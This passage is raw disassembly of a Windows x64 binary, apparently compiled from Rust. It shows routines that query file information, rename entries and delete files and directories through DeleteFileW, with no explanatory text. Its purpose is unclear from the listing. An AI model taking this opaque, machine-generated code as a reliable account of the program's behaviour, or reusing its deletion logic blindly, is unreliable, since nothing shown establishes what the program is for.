call fcn.14000c3a4
lea rcx, [rbp + 0x10]
call fcn.140099510
lea rcx, [rbp + 0x2a70]
call fcn.14000d499
mov rdx, qword [rbp + 0x2408]
mov rcx, rsi
call fcn.140047b8c
mov rdx, qword [rbp + 0x2088]
mov rcx, qword [rbp + 0x2d68]
call fcn.140047b8c
lea rcx, [rbp + 0x26e0]
call fcn.14000de3b
mov rcx, qword [rbp + 0x2980]
mov rdx, qword [rbp + 0x2988]
call fcn.140047b8c
mov rcx, qword [rbp + 0x2b80]
mov rdx, qword [rbp + 0x2b88]
call fcn.140047b8c
lea rcx, [rbp + 0x26c8]
call fcn.14000e5e2
mov rcx, qword [rbp + 0x2950]
mov rdx, qword [rbp + 0x2958]
call fcn.140047b8c
mov rcx, qword [rbp + 0x2af8]
mov rdx, qword [rbp + 0x2b00]
call fcn.140047b8c
mov rdx, qword [rbp + 0x2398]
mov rcx, rbx
jmp 0x140026044
lea r8, [0x1401227a6]
push 0xa
pop r9
mov rcx, rbx
mov rdx, r14
call fcn.14004253c
test al, al
je 0x140027dca
lea rdx, str.Filefatal_runtime_error:_I_O_error:_operation_failed_to_complete_synchronously_n
lea rcx, [rbp + 0x23b0]
push 4
pop r8
call fcn.140007202
mov rsi, rax
mov byte [rbp + 0x2d77], 1
lea rdx, str.srcmain.rsFailed_to_get_current_executable
mov rcx, rax
call fcn.14000f868
mov byte [rbp + 0x2d77], 1
lea rcx, [rbp + 0x10]
mov rdx, rsi
call fcn.14001062e
mov al, byte [rbp + 0x38]
movups xmm0, xmmword [rbp + 0x39]
movaps xmmword [rbp + 0x2400], xmm0
movups xmm0, xmmword [rbp + 0x48]
movups xmmword [rbp + 0x240f], xmm0
cmp al, 5
jne 0x140028080
mov rax, qword [rbp + 0x2417]
mov qword [rbp + 0x26f8], rax
movdqu xmm0, xmmword [rbp + 0x2407]
movdqu xmmword [rbp + 0x26e8], xmm0
mov al, 0xa
jmp 0x1400280c1
mov rcx, qword [rbp + 0x58]
movdqu xmm0, xmmword [r12]
movdqu xmm1, xmmword [r12 + 0xf]
movdqu xmmword [rbp + 0x26f0], xmm1
movdqu xmmword [rbp + 0x26e1], xmm0
mov qword [rbp + 0x2700], rcx
lea rcx, [0x14015c83e]
mov qword [rbp + 0x2708], rcx
mov qword [rbp + 0x2710], 6
lea rdx, [rbp + 0x26e0]
mov byte [rdx], al
lea r8, str.srcmain.rsFailed_to_get_current_executable
lea rcx, [rbp + 0x2b20]
call fcn.14000fd59
lea rcx, [rbp + 0x10]
call fcn.14000de3b
mov rsi, qword [rbp + 0x2b20]
mov rdi, qword [rbp + 0x2b30]
mov rax, qword [rbp + 0x2d20]
lea rdx, [rax + 0x30]
lea rcx, [rbp + 0x2a70]
call fcn.140018341
mov rdx, qword [rbp + 0x2ca0]
mov r8, qword [rbp + 0x2cb0]
lea rcx, [rbp + 0x2c10]
call fcn.1400474b0
mov rax, qword [rbp + 0x2d20]
mov rdx, qword [rax + 0x18]
mov r8, qword [rax + 0x28]
lea rcx, [rbp + 0x2080]
call fcn.1400474b0
mov byte [rbp + 0x2d0a], 1
lea rcx, [rbp + 0x10]
mov rdx, rsi
mov r8, rdi
call fcn.140007529
lea rcx, [rbp + 0x10]
mov rbx, qword [rcx]
mov byte [rbp + 0x2d0a], 1
call fcn.14000f419
cmp ebx, 2
jne 0x140027d83
mov byte [rbp + 0x2d0a], 1
xor ecx, ecx
mov rdx, rsi
mov r8, rdi
call case.0x1400911f4.330
test rax, rax
je 0x140027d83
lea rcx, [rbp + 0x2ba0]
mov qword [rcx], rax
lea r9, [rbp + 0x2400]
mov qword [r9], rcx
lea rax, [fcn.140092dd0]
mov qword [r9 + 8], rax
mov byte [rbp + 0x2cda], 1
mov qword [rsp + 0x20], 1
lea rdx, [0x140121c60]
lea rcx, [rbp + 0x10]
push 1
pop r8
call fcn.14000c3a4
mov byte [rbp + 0x2cda], 1
lea rcx, [rbp + 0x26e0]
lea rdx, [rbp + 0x10]
call fcn.14000ff7c
movups xmm0, xmmword [rbp + 0x26e0]
lea rcx, [rbp + 0x2400]
movaps xmmword [rcx], xmm0
mov rax, qword [rbp + 0x26f0]
mov qword [rcx + 0x10], rax
mov rax, qword [rbp + 0x2a80]
lea rdx, [rbp + 0x10]
mov qword [rdx + 0x10], rax
movdqu xmm0, xmmword [rbp + 0x2a70]
movdqa xmmword [rdx], xmm0
mov rdi, qword [rbp + 0x2c10]
mov r9, qword [rbp + 0x2c20]
mov rbx, qword [rbp + 0x2080]
mov rax, qword [rbp + 0x2090]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
mov r8, rdi
call fcn.14001587b
mov rcx, qword [rbp + 0x2400]
mov rdx, qword [rbp + 0x2408]
call fcn.140047b8c
mov byte [rbp + 0x2d0a], 0
lea rcx, [rbp + 0x2ba0]
call fcn.14000d499
jmp 0x140027d9d
lea rcx, [rbp + 0x2a70]
call fcn.14000e5e2
mov rbx, qword [rbp + 0x2080]
mov rdi, qword [rbp + 0x2c10]
mov rdx, qword [rbp + 0x2088]
mov rcx, rbx
call fcn.140047b8c
mov rdx, qword [rbp + 0x2c18]
mov rcx, rdi
call fcn.140047b8c
mov rdx, qword [rbp + 0x2b28]
mov rcx, rsi
jmp 0x140026044
lea r8, [0x1401227b0]
push 0xa
pop r9
mov rcx, rbx
mov rdx, r14
call fcn.14004253c
test al, al
je 0x140027fd9
lea rdx, str.Filefatal_runtime_error:_I_O_error:_operation_failed_to_complete_synchronously_n
lea rcx, [rbp + 0x23b0]
push 4
pop r8
call fcn.140007202
mov rsi, rax
mov byte [rbp + 0x2d77], 1
lea rdx, str.srcmain.rsFailed_to_get_current_executable
mov rcx, rax
call fcn.14000f868
mov byte [rbp + 0x2d77], 1
lea rcx, [rbp + 0x10]
mov rdx, rsi
call fcn.14001062e
mov al, byte [rbp + 0x38]
movups xmm0, xmmword [rbp + 0x39]
movaps xmmword [rbp + 0x2400], xmm0
movups xmm0, xmmword [rbp + 0x48]
movups xmmword [rbp + 0x240f], xmm0
cmp al, 5
jne 0x140028384
mov rax, qword [rbp + 0x2417]
mov qword [rbp + 0x26f8], rax
movdqu xmm0, xmmword [rbp + 0x2407]
movdqu xmmword [rbp + 0x26e8], xmm0
mov al, 0xa
jmp 0x1400283c5
mov rcx, qword [rbp + 0x58]
movdqu xmm0, xmmword [r12]
movdqu xmm1, xmmword [r12 + 0xf]
movdqu xmmword [rbp + 0x26f0], xmm1
movdqu xmmword [rbp + 0x26e1], xmm0
mov qword [rbp + 0x2700], rcx
lea rcx, [0x14015c83e]
mov qword [rbp + 0x2708], rcx
mov qword [rbp + 0x2710], 6
lea rdx, [rbp + 0x26e0]
mov byte [rdx], al
lea r8, str.srcmain.rsFailed_to_get_current_executable
lea rcx, [rbp + 0x2c10]
call fcn.14000fd59
mov byte [rbp + 0x2cfc], 1
lea rcx, [rbp + 0x10]
call fcn.14000de3b
mov rsi, qword [rbp + 0x2c10]
mov rdi, qword [rbp + 0x2c20]
mov rcx, qword [rbp + 0x2d20]
mov rax, qword [rcx + 0x40]
mov qword [rbp + 0x2090], rax
movdqu xmm0, xmmword [rcx + 0x30]
movdqa xmmword [rbp + 0x2080], xmm0
mov byte [rbp + 0x2d45], 1
lea rcx, [rbp + 0x10]
mov rdx, rsi
mov r8, rdi
call fcn.140007529
lea rcx, [rbp + 0x10]
mov rbx, qword [rcx]
mov byte [rbp + 0x2d45], 1
call fcn.14000f419
cmp ebx, 2
je 0x140028dfe
lea r8, [rbp + 0x10]
and word [r8 + 0x24], 0
and dword [r8 + 0x20], 0
and qword [r8 + 8], 0
movabs rax, 0x1000100000001
mov qword [r8], rax
movdqa xmm0, xmmword [0x140120930]
movdqu xmmword [r8 + 0x10], xmm0
mov byte [rbp + 0x2d45], 1
mov rcx, rsi
mov rdx, rdi
call fcn.1400949b0
mov rbx, rdx
test rax, rax
jne 0x140028d10
mov qword [rbp + 0x26e0], rbx
pxor xmm0, xmm0
lea r8, [rbp + 0x10]
movdqa xmmword [r8 + 0x10], xmm0
movdqa xmmword [r8], xmm0
and qword [r8 + 0x20], 0
push 0x28
pop r9
mov rcx, rbx
xor edx, edx
call qword [sym.imp.kernel32.dll_GetFileInformationByHandleEx]
test eax, eax
je 0x14002855f
test byte [rbp + 0x30], 0x10
jne 0x140028818
movabs rdi, 0x10b00000002
jmp 0x14002856f
lea r8, [0x1401227ba]
push 0xc
pop r9
mov rcx, rbx
mov rdx, r14
call fcn.14004253c
test al, al
je 0x1400282dd
lea rdx, [0x140121aa7]
lea rcx, [rbp + 0x23b0]
push 6
pop r8
call fcn.140007202
mov rsi, rax
mov byte [rbp + 0x2d77], 1
lea rdx, str.srcmain.rsFailed_to_get_current_executable
mov rcx, rax
call fcn.14000f868
mov byte [rbp + 0x2d77], 1
lea rcx, [rbp + 0x10]
mov rdx, rsi
call fcn.14001062e
mov al, byte [rbp + 0x38]
movups xmm0, xmmword [rbp + 0x39]
movaps xmmword [rbp + 0x2400], xmm0
movups xmm0, xmmword [rbp + 0x48]
movups xmmword [rbp + 0x240f], xmm0
cmp al, 5
jne 0x140028627
mov rax, qword [rbp + 0x2417]
mov qword [rbp + 0x26f8], rax
movdqu xmm0, xmmword [rbp + 0x2407]
movdqu xmmword [rbp + 0x26e8], xmm0
mov al, 0xa
jmp 0x140028668
mov rcx, qword [rbp + 0x58]
movdqu xmm0, xmmword [r12]
movdqu xmm1, xmmword [r12 + 0xf]
movdqu xmmword [rbp + 0x26f0], xmm1
movdqu xmmword [rbp + 0x26e1], xmm0
mov qword [rbp + 0x2700], rcx
lea rcx, [0x14015c83e]
mov qword [rbp + 0x2708], rcx
mov qword [rbp + 0x2710], 6
lea rdx, [rbp + 0x26e0]
mov byte [rdx], al
lea r8, str.srcmain.rsFailed_to_get_current_executable
lea rcx, [rbp + 0x2c10]
call fcn.14000fd59
mov byte [rbp + 0x2cfd], 1
lea rcx, [rbp + 0x10]
call fcn.14000de3b
mov rsi, qword [rbp + 0x2c10]
mov rdi, qword [rbp + 0x2c20]
mov rcx, qword [rbp + 0x2d20]
mov rax, qword [rcx + 0x40]
mov qword [rbp + 0x2090], rax
movdqu xmm0, xmmword [rcx + 0x30]
movdqa xmmword [rbp + 0x2080], xmm0
mov byte [rbp + 0x2d2e], 1
lea rcx, [rbp + 0x10]
mov rdx, rsi
mov r8, rdi
call fcn.140007529
lea rcx, [rbp + 0x10]
mov rbx, qword [rcx]
mov byte [rbp + 0x2d2e], 1
call fcn.14000f419
cmp ebx, 2
jne 0x140028160
mov byte [rbp + 0x2cfd], 0
lea rcx, [rbp + 0x2080]
call fcn.14000e5e2
jmp 0x140028e11
mov byte [rbp + 0x2d2e], 1
lea rcx, [rbp + 0x10]
mov rdx, rsi
mov r8, rdi
call fcn.14008f0d0
mov rax, qword [rbp + 0x10]
mov r14, qword [rbp + 0x18]
test rax, rax
je 0x1400281e9
lea rdx, [rbp + 0x10]
mov rcx, qword [rdx + 0x10]
mov qword [rdx], rax
mov qword [rdx + 8], r14
mov qword [rdx + 0x10], rcx
mov byte [rbp + 0x2d2e], 1
lea rcx, [rbp + 0x26e0]
mov r8b, 1
call case.0x14000776e.1877
mov rdi, qword [rbp + 0x26e0]
mov r14, qword [rbp + 0x26e8]
test rdi, rdi
je 0x1400281e9
mov rcx, rdi
call qword [sym.imp.kernel32.dll_DeleteFileW]
test eax, eax
je 0x140028890
test r14, r14
je 0x140028148
push 2
pop rdx
mov rcx, rdi
call fcn.140041fe0
jmp 0x140028148
mov rbx, r14
test r14, r14
je 0x140028148
lea rax, [rbp + 0x2a70]
mov qword [rax], rbx
lea r9, [rbp + 0x2400]
mov qword [r9], rax
lea rax, [fcn.140092dd0]
mov qword [r9 + 8], rax
mov byte [rbp + 0x2cdc], 1
mov qword [rsp + 0x20], 1
lea rdx, str.Failed_to_delete_file:
lea rcx, [rbp + 0x10]
push 1
pop r8
call fcn.14000c3a4
mov byte [rbp + 0x2cdc], 1
lea rcx, [rbp + 0x26e0]
lea rdx, [rbp + 0x10]
call fcn.14000ff7c
movups xmm0, xmmword [rbp + 0x26e0]
lea rcx, [rbp + 0x2400]
movaps xmmword [rcx], xmm0
mov rax, qword [rbp + 0x26f0]
mov qword [rcx + 0x10], rax
mov rax, qword [rbp + 0x2090]
lea rdx, [rbp + 0x10]
mov qword [rdx + 0x10], rax
movdqa xmm0, xmmword [rbp + 0x2080]
movdqa xmmword [rdx], xmm0
mov r8, qword [rbp + 0x2ca0]
mov r9, qword [rbp + 0x2cb0]
mov r10, qword [rbp + 0x2d20]
mov rax, qword [r10 + 0x18]
mov r10, qword [r10 + 0x28]
mov qword [rsp + 0x28], r10
mov qword [rsp + 0x20], rax
call fcn.14001587b
mov rcx, qword [rbp + 0x2400]
mov rdx, qword [rbp + 0x2408]
call fcn.140047b8c
mov byte [rbp + 0x2d2e], 0
lea rcx, [rbp + 0x2a70]
call fcn.14000d499
jmp 0x140028e11
lea r8, [0x1401227c6]
push 8
pop r9
mov rcx, rbx
mov rdx, r14
call fcn.14004253c
test al, al
je 0x140028580
lea rdx, [0x140121a00]
lea rcx, [rbp + 0x23b0]
push 4
pop r8
call fcn.140007202
mov rsi, rax
mov byte [rbp + 0x2d77], 1
lea rdx, str.srcmain.rsFailed_to_get_current_executable
mov rcx, rax
call fcn.14000f868
mov byte [rbp + 0x2d77], 1
lea rcx, [rbp + 0x10]
mov rdx, rsi
call fcn.14001062e
mov al, byte [rbp + 0x38]
movups xmm0, xmmword [rbp + 0x39]
movaps xmmword [rbp + 0x2400], xmm0
movups xmm0, xmmword [rbp + 0x48]
movups xmmword [rbp + 0x240f], xmm0
cmp al, 5
jne 0x140028962
mov rax, qword [rbp + 0x2417]
mov qword [rbp + 0x26f8], rax
movdqu xmm0, xmmword [rbp + 0x2407]
movdqu xmmword [rbp + 0x26e8], xmm0
mov al, 0xa
jmp 0x1400289a3
mov rcx, qword [rbp + 0x58]
movdqu xmm0, xmmword [r12]
movdqu xmm1, xmmword [r12 + 0xf]
movdqu xmmword [rbp + 0x26f0], xmm1
movdqu xmmword [rbp + 0x26e1], xmm0
mov qword [rbp + 0x2700], rcx
lea rcx, [0x14015c83e]
mov qword [rbp + 0x2708], rcx
mov qword [rbp + 0x2710], 6
lea rdx, [rbp + 0x26e0]
mov byte [rdx], al
lea r8, str.srcmain.rsFailed_to_get_current_executable
lea rcx, [rbp + 0x2080]
call fcn.14000fd59
mov byte [rbp + 0x2d0b], 1
lea rcx, [rbp + 0x10]
call fcn.14000de3b
lea rdx, str.NewName
lea rcx, [rbp + 0x23b0]
push 7
pop r8
call fcn.140007202
mov rsi, rax
mov byte [rbp + 0x2d0b], 1
lea rdx, str.srcmain.rsFailed_to_get_current_executable
mov rcx, rax
call fcn.14000f868
mov byte [rbp + 0x2d0b], 1
lea rcx, [rbp + 0x10]
mov rdx, rsi
call fcn.14001062e
mov al, byte [rbp + 0x38]
movups xmm0, xmmword [rbp + 0x39]
movaps xmmword [rbp + 0x2400], xmm0
movups xmm0, xmmword [rbp + 0x48]
movups xmmword [rbp + 0x240f], xmm0
cmp al, 5
jne 0x140028473
mov rax, qword [rbp + 0x2417]
mov qword [rbp + 0x26f8], rax
movdqu xmm0, xmmword [rbp + 0x2407]
movdqu xmmword [rbp + 0x26e8], xmm0
mov al, 0xa
jmp 0x1400284b4
mov rcx, qword [rbp + 0x58]
movdqu xmm0, xmmword [r12]
movdqu xmm1, xmmword [r12 + 0xf]
movdqu xmmword [rbp + 0x26f0], xmm1
movdqu xmmword [rbp + 0x26e1], xmm0
mov qword [rbp + 0x2700], rcx
lea rcx, [0x14015c83e]
mov qword [rbp + 0x2708], rcx
mov qword [rbp + 0x2710], 6
lea rdx, [rbp + 0x26e0]
mov byte [rdx], al
lea r8, str.srcmain.rsFailed_to_get_current_executable
lea rcx, [rbp + 0x2400]
call fcn.14000fd59
mov byte [rbp + 0x2cc4], 1
lea rbx, [rbp + 0x10]
mov rcx, rbx
call fcn.14000de3b
mov rsi, qword [rbp + 0x2080]
mov rdx, qword [rbp + 0x2090]
mov rdi, qword [rbp + 0x2400]
mov r9, qword [rbp + 0x2410]
mov r10, qword [rbp + 0x2d20]
mov rax, qword [r10 + 0x40]
mov qword [rbp + 0x20], rax
movdqu xmm0, xmmword [r10 + 0x30]
movdqa xmmword [rbp + 0x10], xmm0
mov rax, qword [rbp + 0x2ca0]
mov rcx, qword [rbp + 0x2cb0]
mov r8, qword [r10 + 0x18]
mov r10, qword [r10 + 0x28]
mov byte [rbp + 0x2cc4], 0
mov qword [rsp + 0x40], r10
mov qword [rsp + 0x38], r8
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
mov rcx, rsi
mov r8, rdi
call fcn.1400168d5
jmp 0x1400287fd
call qword [sym.imp.kernel32.dll_GetLastError]
mov edi, eax
shl rdi, 0x20
or rdi, 2
mov rcx, rbx
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rbx, rdi
jmp 0x140028d10
lea r8, [0x1401227ce]
push 9
pop r9
mov rcx, rbx
mov rdx, r14
call fcn.14004253c
test al, al
je 0x1400288b9
lea rdx, str.Filefatal_runtime_error:_I_O_error:_operation_failed_to_complete_synchronously_n
lea rcx, [rbp + 0x23b0]
push 4
pop r8
call fcn.140007202
mov rsi, rax
mov byte [rbp + 0x2d77], 1
lea rdx, str.srcmain.rsFailed_to_get_current_executable
mov rcx, rax
call fcn.14000f868
mov byte [rbp + 0x2d77], 1
lea rcx, [rbp + 0x10]
mov rdx, rsi
call fcn.14001062e
mov al, byte [rbp + 0x38]
movups xmm0, xmmword [rbp + 0x39]
movaps xmmword [rbp + 0x2400], xmm0
movups xmm0, xmmword [rbp + 0x48]
movups xmmword [rbp + 0x240f], xmm0
cmp al, 5
jne 0x140028ec4
mov rax, qword [rbp + 0x2417]
mov qword [rbp + 0x26f8], rax
movdqu xmm0, xmmword [rbp + 0x2407]
movdqu xmmword [rbp + 0x26e8], xmm0
mov al, 0xa
jmp 0x140028f05
mov rcx, qword [rbp + 0x58]
movdqu xmm0, xmmword [r12]
movdqu xmm1, xmmword [r12 + 0xf]
movdqu xmmword [rbp + 0x26f0], xmm1
movdqu xmmword [rbp + 0x26e1], xmm0
mov qword [rbp + 0x2700], rcx
lea rcx, [0x14015c83e]
mov qword [rbp + 0x2708], rcx
mov qword [rbp + 0x2710], 6
lea rdx, [rbp + 0x26e0]
mov byte [rdx], al
lea r8, str.srcmain.rsFailed_to_get_current_executable
lea rcx, [rbp + 0x2080]
call fcn.14000fd59
mov byte [rbp + 0x2d0c], 1
lea rcx, [rbp + 0x10]
call fcn.14000de3b
lea rdx, str.NewName
lea rcx, [rbp + 0x23b0]
push 7
pop r8
call fcn.140007202
mov rsi, rax
mov byte [rbp + 0x2d0c], 1
lea rdx, str.srcmain.rsFailed_to_get_current_executable
mov rcx, rax
call fcn.14000f868
mov byte [rbp + 0x2d0c], 1
lea rcx, [rbp + 0x10]
mov rdx, rsi
call fcn.14001062e
mov al, byte [rbp + 0x38]
movups xmm0, xmmword [rbp + 0x39]
movaps xmmword [rbp + 0x2400], xmm0
movups xmm0, xmmword [rbp + 0x48]
movups xmmword [rbp + 0x240f], xmm0
cmp al, 5
jne 0x140028716
mov rax, qword [rbp + 0x2417]
mov qword [rbp + 0x26f8], rax
movdqu xmm0, xmmword [rbp + 0x2407]
movdqu xmmword [rbp + 0x26e8], xmm0
mov al, 0xa
jmp 0x140028757
mov rcx, qword [rbp + 0x58]
movdqu xmm0, xmmword [r12]
movdqu xmm1, xmmword [r12 + 0xf]
movdqu xmmword [rbp + 0x26f0], xmm1
movdqu xmmword [rbp + 0x26e1], xmm0
mov qword [rbp + 0x2700], rcx
lea rcx, [0x14015c83e]
mov qword [rbp + 0x2708], rcx
mov qword [rbp + 0x2710], 6
lea rdx, [rbp + 0x26e0]
mov byte [rdx], al
lea r8, str.srcmain.rsFailed_to_get_current_executable
lea rcx, [rbp + 0x2400]
call fcn.14000fd59
mov byte [rbp + 0x2cc5], 1
lea rbx, [rbp + 0x10]
mov rcx, rbx
call fcn.14000de3b
mov rsi, qword [rbp + 0x2080]
mov rdx, qword [rbp + 0x2090]
mov rdi, qword [rbp + 0x2400]
mov r9, qword [rbp + 0x2410]
mov r10, qword [rbp + 0x2d20]
mov rax, qword [r10 + 0x40]
mov qword [rbp + 0x20], rax
movdqu xmm0, xmmword [r10 + 0x30]
movdqa xmmword [rbp + 0x10], xmm0
mov rax, qword [rbp + 0x2ca0]
mov rcx, qword [rbp + 0x2cb0]
mov r8, qword [r10 + 0x18]
mov r10, qword [r10 + 0x28]
mov byte [rbp + 0x2cc5], 0
mov qword [rsp + 0x40], r10
mov qword [rsp + 0x38], r8
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
mov rcx, rsi
mov r8, rdi
call fcn.1400168d5
mov rdx, qword [rbp + 0x2408]
mov rcx, rdi
call fcn.140047b8c
mov rdx, qword [rbp + 0x2088]
jmp 0x14002660a
mov qword [rbp + 0x2d68], rbx
lea rdx, case.0x1400ce7fe.262
lea rcx, [rbp + 0x26e0]
call case.0x140096e32.483
mov rbx, rax
test rax, rax
je 0x140028d01
mov qword [rbp + 0x10], rbx
mov eax, ebx
and eax, 3
cmp rax, 2
jb 0x140028d03
cmp eax, 2
jne 0x140028d03
mov rax, rbx
shr rax, 0x20
cmp rax, 1
je 0x140028875
cmp eax, 0x57
je 0x140028875
cmp eax, 0x32
jne 0x140028d03
lea rdx, [0x1400acc40]
lea rcx, [rbp + 0x26e0]
call case.0x140096e32.483
mov rbx, rax
jmp 0x140028d03
call qword [sym.imp.kernel32.dll_GetLastError]
mov ebx, eax
shl rbx, 0x20
or rbx, 2
test r14, r14
je 0x1400281f5
push 2
pop rdx
mov rcx, rdi
call fcn.140041fe0
jmp 0x1400281f5
lea r8, [0x1401227d7]
push 7
pop rsi
mov rcx, rbx
mov rdx, r14
mov r9, rsi
call fcn.14004253c
test al, al
je 0x140028e1d
lea rdx, str.Filefatal_runtime_error:_I_O_error:_operation_failed_to_complete_synchronously_n
lea rcx, [rbp + 0x23b0]
push 4
pop r8
call fcn.140007202
mov rsi, rax
mov byte [rbp + 0x2d77], 1
lea rdx, str.srcmain.rsFailed_to_get_current_executable
mov rcx, rax
call fcn.14000f868
mov byte [rbp + 0x2d77], 1
lea rcx, [rbp + 0x10]
mov rdx, rsi
call fcn.14001062e
mov al, byte [rbp + 0x38]
movups xmm0, xmmword [rbp + 0x39]
movaps xmmword [rbp + 0x2400], xmm0
movups xmm0, xmmword [rbp + 0x48]
movups xmmword [rbp + 0x240f], xmm0
cmp al, 5
jne 0x14002abd3
mov rax, qword [rbp + 0x2417]
mov qword [rbp + 0x26f8], rax
movdqu xmm0, xmmword [rbp + 0x2407]
movdqu xmmword [rbp + 0x26e8], xmm0
mov al, 0xa
jmp 0x14002ac14
mov rcx, qword [rbp + 0x58]
movdqu xmm0, xmmword [r12]
movdqu xmm1, xmmword [r12 + 0xf]
movdqu xmmword [rbp + 0x26f0], xmm1
movdqu xmmword [rbp + 0x26e1], xmm0
mov qword [rbp + 0x2700], rcx
lea rcx, [0x14015c83e]
mov qword [rbp + 0x2708], rcx
mov qword [rbp + 0x2710], 6
lea rdx, [rbp + 0x26e0]
mov byte [rdx], al
lea r8, str.srcmain.rsFailed_to_get_current_executable
lea rcx, [rbp + 0x2c10]
call fcn.14000fd59
lea rcx, [rbp + 0x10]
call fcn.14000de3b
lea rdx, str.Filefatal_runtime_error:_I_O_error:_operation_failed_to_complete_synchronously_n
lea rcx, [rbp + 0x23b0]
push 4
pop r8
call fcn.140007202
mov rsi, rax
lea rdx, str.srcmain.rsFailed_to_get_current_executable
mov rcx, rax
call fcn.14000f868
lea rcx, [rbp + 0x10]
mov rdx, rsi
call fcn.14001062e
mov al, byte [rbp + 0x38]
movups xmm0, xmmword [rbp + 0x39]
movaps xmmword [rbp + 0x2400], xmm0
movups xmm0, xmmword [rbp + 0x48]
movups xmmword [rbp + 0x240f], xmm0
cmp al, 5
jne 0x140028a3c
mov rax, qword [rbp + 0x2417]
mov qword [rbp + 0x26f8], rax
movdqu xmm0, xmmword [rbp + 0x2407]
movdqu xmmword [rbp + 0x26e8], xmm0
mov al, 0xa
jmp 0x140028a7d
mov rcx, qword [rbp + 0x58]
movdqu xmm0, xmmword [r12]
movdqu xmm1, xmmword [r12 + 0xf]
movdqu xmmword [rbp + 0x26f0], xmm1
movdqu xmmword [rbp + 0x26e1], xmm0
mov qword [rbp + 0x2700], rcx
lea rcx, [0x14015c83e]
mov qword [rbp + 0x2708], rcx
mov qword [rbp + 0x2710], 6
lea rdx, [rbp + 0x26e0]
mov byte [rdx], al
lea r8, str.srcmain.rsFailed_to_get_current_executable
lea rcx, [rbp + 0x2080]
call fcn.14000fd59
lea rcx, [rbp + 0x10]
call fcn.14000de3b
lea rdx, str.Path
lea rcx, [rbp + 0x23b0]
push 4
pop r8
call fcn.140007202
mov rsi, rax
lea rdx, str.srcmain.rsFailed_to_get_current_executable
mov rcx, rax
call fcn.14000f868
lea rcx, [rbp + 0x10]
mov rdx, rsi
call fcn.14001062e
mov al, byte [rbp + 0x38]
movups xmm0, xmmword [rbp + 0x39]
movaps xmmword [rbp + 0x2400], xmm0
movups xmm0, xmmword [rbp + 0x48]
movups xmmword [rbp + 0x240f], xmm0
cmp al, 5
jne 0x140028b16
mov rax, qword [rbp + 0x2417]
mov qword [rbp + 0x26f8], rax
movdqu xmm0, xmmword [rbp + 0x2407]
movdqu xmmword [rbp + 0x26e8], xmm0
mov al, 0xa
jmp 0x140028b57
mov rcx, qword [rbp + 0x58]
movdqu xmm0, xmmword [r12]
movdqu xmm1, xmmword [r12 + 0xf]
movdqu xmmword [rbp + 0x26f0], xmm1
movdqu xmmword [rbp + 0x26e1], xmm0
mov qword [rbp + 0x2700], rcx
lea rcx, [0x14015c83e]
mov qword [rbp + 0x2708], rcx
mov qword [rbp + 0x2710], 6
lea rdx, [rbp + 0x26e0]
mov byte [rdx], al
lea r8, str.srcmain.rsFailed_to_get_current_executable
lea rcx, [rbp + 0x2400]
call fcn.14000fd59
lea rcx, [rbp + 0x10]
call fcn.14000de3b
call fcn.14004198e
lea rcx, [rbp + 0x10]
mov rdx, rax
call fcn.14000903f
lea rdx, str.srcmain.rsFailed_to_get_current_executable
lea rcx, [rbp + 0x10]
call fcn.14000fc73
mov qword [rbp + 0x2d68], rax
mov byte [rbp + 0x2d58], dl
mov rdx, qword [rbp + 0x2c10]
mov r8, qword [rbp + 0x2c20]
lea rcx, [rbp + 0x10]
call fcn.1400474b0
lea rcx, [rbp + 0x10]
mov rax, qword [rcx]
mov qword [rbp + 0x2d38], rax
mov rax, qword [rcx + 8]
mov qword [rbp + 0x2d48], rax
mov rsi, qword [rcx + 0x10]
mov rdx, qword [rbp + 0x2080]
mov r8, qword [rbp + 0x2090]
call fcn.1400474b0
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2cd0], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x2cf0], rax
mov rdi, qword [rbp + 0x20]
mov rdx, qword [rbp + 0x2400]
mov r8, qword [rbp + 0x2410]
lea rcx, [rbp + 0x26e0]
call fcn.1400474b0
mov rax, qword [rbp + 0x26f0]
mov qword [rbp + 0x50], rax
movdqu xmm0, xmmword [rbp + 0x26e0]
movdqu xmmword [rbp + 0x40], xmm0
mov rax, qword [rbp + 0x2d38]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x2d48]
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x20], rsi
mov rax, qword [rbp + 0x2cd0]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x2cf0]
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdi
mov rax, qword [rbp + 0x2d68]
mov rdx, qword [rax + 0x20]
cmp rdx, qword [rax + 0x18]
jne 0x140028c9d
mov rcx, qword [rbp + 0x2d68]
add rcx, 0x10
call fcn.1400101c1
mov rax, qword [rbp + 0x2d68]
mov rdx, qword [rax + 0x20]
imul rdi, rdx, 0x48
mov rax, qword [rbp + 0x2d68]
add rdi, qword [rax + 0x10]
push 9
pop rcx
lea rsi, [rbp + 0x10]
rep movsq qword [rdi], qword [rsi]
inc qword [rax + 0x20]
mov rcx, rax
mov dl, byte [rbp + 0x2d58]
call fcn.14000c9d5
mov rcx, qword [rbp + 0x2400]
mov rdx, qword [rbp + 0x2408]
call fcn.140047b8c
mov rcx, qword [rbp + 0x2080]
mov rdx, qword [rbp + 0x2088]
call fcn.140047b8c
mov rcx, qword [rbp + 0x2c10]
mov rdx, qword [rbp + 0x2c18]
jmp 0x140026044
xor ebx, ebx
mov rcx, qword [rbp + 0x2d68]
call qword [sym.imp.kernel32.dll_CloseHandle]
test rbx, rbx
je 0x140028dfe
lea rax, [rbp + 0x2a70]
mov qword [rax], rbx
lea r9, [rbp + 0x2400]
mov qword [r9], rax
lea rax, [fcn.140092dd0]
mov qword [r9 + 8], rax
mov byte [rbp + 0x2cdb], 1
mov qword [rsp + 0x20], 1
lea rdx, str.Failed_to_delete_directory:
lea rcx, [rbp + 0x10]
push 1
pop r8
call fcn.14000c3a4
mov byte [rbp + 0x2cdb], 1
lea rcx, [rbp + 0x26e0]
lea rdx, [rbp + 0x10]
call fcn.14000ff7c
movups xmm0, xmmword [rbp + 0x26e0]
lea rcx, [rbp + 0x2400]
movaps xmmword [rcx], xmm0
mov rax, qword [rbp + 0x26f0]
mov qword [rcx + 0x10], rax
mov rax, qword [rbp + 0x2090]
lea rdx, [rbp + 0x10]
mov qword [rdx + 0x10], rax
